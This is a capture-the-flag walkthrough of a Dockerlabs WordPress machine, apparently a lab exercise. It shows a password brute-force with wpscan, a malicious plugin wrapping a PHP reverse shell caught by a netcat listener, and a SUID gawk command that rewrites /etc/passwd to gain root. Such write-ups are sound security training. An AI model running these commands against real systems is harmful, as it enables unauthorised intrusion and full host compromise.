BadPlugin
| Platform | Dockerlabs |
|---|---|
| OS | Linux |
| Difficulty | Medium |
| InitialVector | Wordpress, php |
| Privesc | SUID gawk |
Information Gathering¶
We began by verifying connectivity to the target host.
ping 192.168.1.100
The host responded successfully, and the observed TTL value of 64 suggested the target was likely running Linux.
We then accessed the web service exposed on the target IP.
The page loaded, but the index displayed an error box. That was a useful clue indicating the site might be misconfigured or expecting a specific virtual host.
To identify the exposed services, we ran a full TCP port scan with default scripts and version detection.
nmap -sV -sC -p- 192.168.1.100 --min-rate 5000 -n -Pn
The scan showed that the only open port was 80/tcp, running Apache httpd 2.4.58.
As a quick check, we searched for public exploits affecting that Apache version.
searchsploit Apache 2.4.58
No useful results were found, so I shifted focus to the web application itself.
Enumeration¶
To enumerate web content and identify hidden directories, I used Gobuster.
gobuster dir -u http://192.168.1.100 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x .php,.txt,.html -r
The scan revealed several interesting paths:
index.htmlinfo.phpjavascript(403 Forbidden)phpmyadmin
More importantly, Gobuster returned an error referencing the word wordpress:
ERROR error on word wordpress: Get "http://escolares.dl/wordpress/"
That strongly suggested the application relied on the virtual host escolares.dl, and that the earlier error on the landing page was likely caused by missing local name resolution.
To fix that, I added the target IP and hostname to /etc/hosts.
nvim /etc/hosts
After updating the hosts file and rerunning the enumeration, the wordpress path returned 200 OK.
Browsing to the new virtual host confirmed the WordPress instance was accessible.
To enumerate the WordPress installation, including themes, users, and plugins, I ran WPScan.
wpscan --url http://escolares.dl/wordpress --enumerate vp,u,vt,tt
WPScan revealed the following:
- Theme:
astra(outdated, version4.8.8) - WordPress version:
6.7.1 - Enumerated user:
admin
Since the admin user was identified, I attempted a password brute-force attack using WPScan and the rockyou.txt wordlist.
wpscan --url http://escolares.dl/wordpress -U admin -P /usr/share/wordlists/rockyou.txt
This yielded valid credentials:
admin:rockyou
Foothold / Initial Access¶
With valid credentials, I logged into the WordPress admin panel through wp-login.php.
From the dashboard, I navigated to Plugins → Add New Plugin → Upload Plugin.
The next step was to upload a malicious WordPress plugin containing a PHP reverse shell. I used the PentestMonkey PHP reverse shell located at /usr/share/webshells/php/php-reverse-shell.php as a base and adapted it into a valid plugin by adding the required WordPress header.
The file was saved as:
BadPlugin.php
I added the following header at the top of the file:
/*
Plugin Name: Revershell PentestMonkey
Description: ReverseShell BadPlugin
Version: 1.0
Author: Kuchiki-PentestMonkey
License: GPL2
*/
I then updated the reverse shell with my attacker IP address and listening port.
Once the file was ready, I compressed it into a ZIP archive so it could be uploaded through the WordPress plugin manager.
zip -r BadPlugin.zip BadPlugin.php
I then uploaded the malicious plugin from the WordPress admin panel.
After confirming the installation, I activated the plugin.
The plugin showed as active in WordPress, confirming that the payload had been deployed successfully.
Before triggering the reverse shell, I started a Netcat listener on my attacking machine.
nc -nvlp 3312
Then I browsed to the plugin file directly:
http://escolares.dl/wordpress/wp-content/plugins/BadPlugin/BadPlugin.php
That successfully returned a shell on the target.
To stabilize it, I spawned a more interactive Bash shell.
/bin/bash -i
export TERM=xterm
At this stage, I had command execution on the host as the www-data user.
Privilege Escalation¶
To identify potential privilege escalation vectors, I searched the filesystem for SUID binaries.
find / -perm -4000 -ls 2>/dev/null
Among the results, the most interesting binary was gawk.
I checked GTFOBins and confirmed that gawk could be abused in this context to write to privileged files.
The relevant technique was:
- Write: This function can be performed by any unprivileged user.
gawk 'BEGIN { print "DATA" > "/path/to/output-file" }'
Based on that, I used gawk to modify /etc/passwd.
/usr/bin/gawk -F 'x' '{print $1 $NF > "/etc/passwd"}' /etc/passwd
This removed the x from the root entry, effectively eliminating the password requirement for that account. With that in place, running su allowed direct escalation to root.
After switching users, I upgraded the shell again for a cleaner interactive session.
/bin/bash -i
export TERM=xterm
Conclusion¶
This machine was compromised through a WordPress-based attack path. After identifying the correct virtual host, I enumerated the WordPress instance, discovered the admin account, and successfully brute-forced its password. Administrative access to the CMS made it possible to upload a malicious plugin and obtain remote code execution as www-data. From there, a misconfigured SUID gawk binary allowed direct privilege escalation by modifying /etc/passwd, resulting in full root compromise.